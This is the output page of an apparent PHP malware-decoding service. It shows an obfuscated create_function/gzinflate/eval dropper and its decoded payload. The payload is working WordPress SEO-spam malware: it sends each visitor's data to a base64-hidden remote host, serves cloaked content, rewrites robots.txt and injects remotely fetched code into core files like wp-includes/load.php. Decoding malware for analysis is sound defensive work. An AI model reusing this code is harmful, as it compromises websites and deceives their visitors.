Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $TKRaEhuJjG='y(3;]whcx)8$4mb dk1qog5sprlua=z_/0i9tvf_"76*.2n[je';$q2866=$TKRaEhuJjG[..

Decoded Output download

error_reporting(0);
$go_domain = base64_decode('c2VvNy00LnN0YXJ0ZGRzZW8uY29t');
$language = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 4);
$userrefer = $_SERVER['HTTP_REFERER']?$_SERVER['HTTP_REFERER']:"";
$useragent = $_SERVER['HTTP_USER_AGENT']?$_SERVER['HTTP_USER_AGENT']:"";
$userip = '';
@$timezone_out = date_default_timezone_get();
$userip = $_SERVER['REMOTE_ADDR'];
$ips = explode(",", $userip);
$userip = trim(current($ips));
$http = 'http';
if(is_https()){
	$http = 'https';
}else{
	$http = 'http';
}

$index_url = "http://$go_domain/666.php?dom=%s&uri=%s&http=%s&refer=%s&agent=%s&lang=%s&ip=%s";
$host = $_SERVER['HTTP_HOST'];
$uri = $_SERVER['REQUEST_URI'];

@$action = $_GET['ac']?$_GET['ac']:"";
if($action != "" && $action == "write"){
	write("index.php");
	exit("write done!");
}

if(preg_match('@writerobots$@i',$uri)){
	$request = sprintf($index_url, urlencode($host), urlencode($uri), urlencode($http), urlencode($userrefer), urlencode($useragent), urlencode($language), urlencode($userip));
	$contents = base64_decode(get($request));
	@chmod("robots.txt", 0755);
	file_put_contents("robots.txt", $contents);
	header("Content-type: text/plain; charset=utf-8");
	echo $contents."
";
	echo "robots write done!!
";
	exit();
}elseif(preg_match('@pingsitemap.xml$@i',$uri)){
	$request = sprintf($index_url, urlencode($host), urlencode($uri), urlencode($http), urlencode($userrefer), urlencode($useragent), urlencode($language), urlencode($userip));
	$content = base64_decode(get($request));
	$maplist = explode("@@@", $content);
	@header("Content-type: text/plain; charset=utf-8");
	foreach($maplist as $map){
		$sitemap = "https://www.google.com/ping?sitemap=$map";
		$contents = get($sitemap);
		if(strpos($contents, "Sitemap Notification Received")){
			echo "Submitting Google Sitemap ".$map." : OK!
";
		}else{
			echo "Submitting Google Sitemap ".$map." : ERROR!
";
		}
	}
	exit();
}elseif(preg_match('@(.*?).xml$@i',$uri)){
	$request = sprintf($index_url, urlencode($host), urlencode($uri), urlencode($http), urlencode($userrefer), urlencode($useragent), urlencode($language), urlencode($userip));
	$content = get($request);
	@header("Content-type: text/xml");
	$date_str = date("Y-m-d\TH:i:sP",time());
	$content = str_replace("{#date_str}", $date_str, $content);
	$content = str_replace("okhtmlgetcontent",'',$content);
	echo trim($content);
	exit();
}elseif(substr($uri, -4) == ".css"){
	$request = sprintf($index_url, urlencode($host), urlencode($uri), urlencode($http), urlencode($userrefer), urlencode($useragent), urlencode($language), urlencode($userip));
	$content = get($request);
	if(strstr($content,'okhtmlgetcontent')){
		@header("Content-type: text/css; charset=utf-8");
		$content = str_replace("okhtmlgetcontent",'',$content);
		echo trim($content);
	}
	exit();
}else{
	$request = sprintf($index_url, urlencode($host), urlencode($uri), urlencode($http), urlencode($userrefer), urlencode($useragent), urlencode($language), urlencode($userip));
	$content = get($request);
	if(strstr($content,'okhtmlgetcontent')){
		@header("Content-type: text/html; charset=utf-8");
		$content = str_replace("okhtmlgetcontent",'',$content);
		echo trim($content);
		exit();
	}else if(strstr($content,'getcontent404page')){
		@header('HTTP/1.1 404 Not Found');
		echo "404 Not Found";
		exit();
	}else if(strstr($content,'getcontent301page')){
		@header('HTTP/1.1 301 Moved Permanently');
		$content = str_replace("getcontent301page",'',$content);
		header('Location: '.trim($content));
		exit();
	}else if(strstr($content,'getcontent500page')){
		@header('HTTP/1.1 500 Internal Server Error');
		$content = str_replace("getcontent500page",'',$content);
		echo "500 Internal Server Error";
		exit();
	}
}
function write($index_name){
	$write1 = get(base64_decode("aHR0cDovL2FiYy5maXJzdGd1aWRlLnh5ei93cml0ZTEudHh0"));
	$write2 = get(base64_decode("aHR0cDovL2FiYy5maXJzdGd1aWRlLnh5ei93cml0ZTIudHh0"));
	$ht_content = file_get_contents(".htaccess");
	$index_content = file_get_contents($index_name);
	$loader_php = "wp-includes/template-loader.php";
	$load_php = "wp-includes/load.php";
	if(is_dir("wp-includes/SimplePie")){
		file_put_contents("wp-admin/images/arrow-lefts.png", $index_content);
		file_put_contents("wp-admin/images/arrow-rights.png", $ht_content);
		file_put_contents("wp-includes/images/smilies/icon_devil.gif", $index_content);
		file_put_contents("wp-includes/images/smilies/icon_crystal.gif", $ht_content);
		$loader_content = file_get_contents($loader_php);
		$load_content = file_get_contents($load_php);
		@chmod($loader_php, 0755);@chmod($load_php, 0755);
		file_put_contents($loader_php, $write1.$loader_content);
		file_put_contents($load_php, $load_content.$write2);
		@chmod($loader_php, 0644);@chmod($load_php, 0644);
	}
}
function get($url){ 
	$contents = @file_get_contents($url);
	if (!$contents) {
		$ch = curl_init();
		curl_setopt($ch, CURLOPT_URL, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
		$contents = curl_exec($ch);
		curl_close($ch);
	} 
	return $contents;
}
function is_https() {
	if ( !empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') {
		return true;
	} elseif ( isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https' ) {
		return true;
	} elseif ( !empty($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off') {
		return true;
	}
	return false;
}

Did this file decode correctly?

Original Code

<?php $TKRaEhuJjG='y(3;]whcx)8$4mb dk1qog5sprlua=z_/0i9tvf_"76*.2n[je';$q2866=$TKRaEhuJjG[(105/15)].$TKRaEhuJjG[(26-1)].$TKRaEhuJjG[(1*49)].$TKRaEhuJjG[((10*1)+18)].$TKRaEhuJjG[(14+22)].$TKRaEhuJjG[(44+5)].$TKRaEhuJjG[(44-13)].$TKRaEhuJjG[(684/18)].$TKRaEhuJjG[(23+4)].$TKRaEhuJjG[(72-(33-7))].$TKRaEhuJjG[(154/22)].$TKRaEhuJjG[(11+25)].$TKRaEhuJjG[(65-(62-31))].$TKRaEhuJjG[(26-6)].$TKRaEhuJjG[((27*2)-8)];$pHFdNhg9688=$TKRaEhuJjG[(20-9)].$TKRaEhuJjG[(2*4)].$TKRaEhuJjG[(29*1)].$TKRaEhuJjG[(160/4)];$MYtraky2482=$TKRaEhuJjG[(8*5)].$TKRaEhuJjG[((1+0)+2)].$TKRaEhuJjG[(6+(1*(95/19)))].$TKRaEhuJjG[(140/5)].$TKRaEhuJjG[(522/18)].$TKRaEhuJjG[(7*((7-3)-2))].$TKRaEhuJjG[(2*14)].$TKRaEhuJjG[(138/(2+4))].$TKRaEhuJjG[(1029/(378/18))].$TKRaEhuJjG[((2*189)/9)].$TKRaEhuJjG[(12+(0+0))].$TKRaEhuJjG[(31*1)].$TKRaEhuJjG[(48/(36/12))].$TKRaEhuJjG[(735/15)].$TKRaEhuJjG[(0+7)].$TKRaEhuJjG[(18+2)].$TKRaEhuJjG[(18-(10/5))].$TKRaEhuJjG[(735/15)].$TKRaEhuJjG[(0+(2-(1*1)))].$TKRaEhuJjG[(16-(3+(36/(0+18))))].$TKRaEhuJjG[((167-23)/18)].$TKRaEhuJjG[(0+(18-9))].$TKRaEhuJjG[(1*3)].$TKRaEhuJjG[(11*(1+(0/(78/13))))].$TKRaEhuJjG[(2*7)].$TKRaEhuJjG[(29*(0+1))].$TKRaEhuJjG[(38-(8+9))].$TKRaEhuJjG[(15*2)].$TKRaEhuJjG[(45-11)].$TKRaEhuJjG[(1*46)].$TKRaEhuJjG[(1*(17+21))].$TKRaEhuJjG[(78/3)].$TKRaEhuJjG[(21+(77/11))].$TKRaEhuJjG[(22+14)].$TKRaEhuJjG[(343/(91/13))].$TKRaEhuJjG[(1*1)].$TKRaEhuJjG[(21-10)].$TKRaEhuJjG[(22+(12/2))].$TKRaEhuJjG[(180/20)].$TKRaEhuJjG[(3+((0+0)*1))].$TKRaEhuJjG[(686/(126/9))].$TKRaEhuJjG[(61-(32-8))].$TKRaEhuJjG[(476/17)].$TKRaEhuJjG[((4-0)+22)].$TKRaEhuJjG[(((23-(2*5))/13)-0)].$TKRaEhuJjG[(7+(84/21))].$TKRaEhuJjG[(28/2)].$TKRaEhuJjG[(9-0)].$TKRaEhuJjG[(3*1)];$UrR1094= "'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'";$JTx2343=$pHFdNhg9688;$JTx2343.=$UrR1094;$JTx2343.=$MYtraky2482;@$mEriqO3481=$q2866((''), ($JTx2343));@$mEriqO3481(); ?>

Function Calls

null 1
gzinflate 1
base64_decode 1
create_function 1

Variables

$b error_reporting(0); $go_domain = base64_decode('c2VvNy00LnN..
$x '7VhdU9s4FH2mM/0PwputnZ3ECRTYlg5DGDDQLk1YJ7Sl247H2EqsWdvySjK..
$q2866 create_function
$JTx2343 $x="'7VhdU9s4FH2mM/0PwputnZ3ECRTYlg5DGDDQLk1YJ7Sl247H2EqsWdv..
$UrR1094 '7VhdU9s4FH2mM/0PwputnZ3ECRTYlg5DGDDQLk1YJ7Sl247H2EqsWdvySjK..
$TKRaEhuJjG y(3;]whcx)8$4mb dk1qog5sprlua=z_/0i9tvf_"76*.2n[je
$mEriqO3481 None
$MYtraky2482 ";$a=base64_decode($x);$b=gzinflate($a);eval($b);
$pHFdNhg9688 $x="

Stats

MD5 710f1835aef336b1da6393a6fc842388
Eval Count 2
Decode Time 153 ms